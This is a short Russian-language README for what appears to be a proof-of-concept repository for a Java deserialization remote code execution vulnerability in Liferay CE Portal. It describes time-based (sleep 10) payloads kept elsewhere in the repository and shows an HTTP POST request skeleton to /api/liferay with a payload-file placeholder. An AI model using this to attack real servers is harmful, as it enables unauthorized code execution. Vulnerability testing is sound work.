Liferay-CE-Portal-Java-Deserialization

Этот репозиторий содержит PoC для уязвимости удалённого выполнения кода в Liferay CE Portal!

Пейлоады

Я уже разместил пейлоады в репозитории. Вам нужно подобрать правильный синтаксис методом перебора. Пейлоады, которые я выложил, рассчитаны на проверку концепции на основе времени (sleep 10). Приложение не всегда выводит результат выполнения команды. Поэтому при проведении PoC следует использовать пейлоад с задержкой по времени.

Проверка концепции

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

Пример PoC (sleep 10)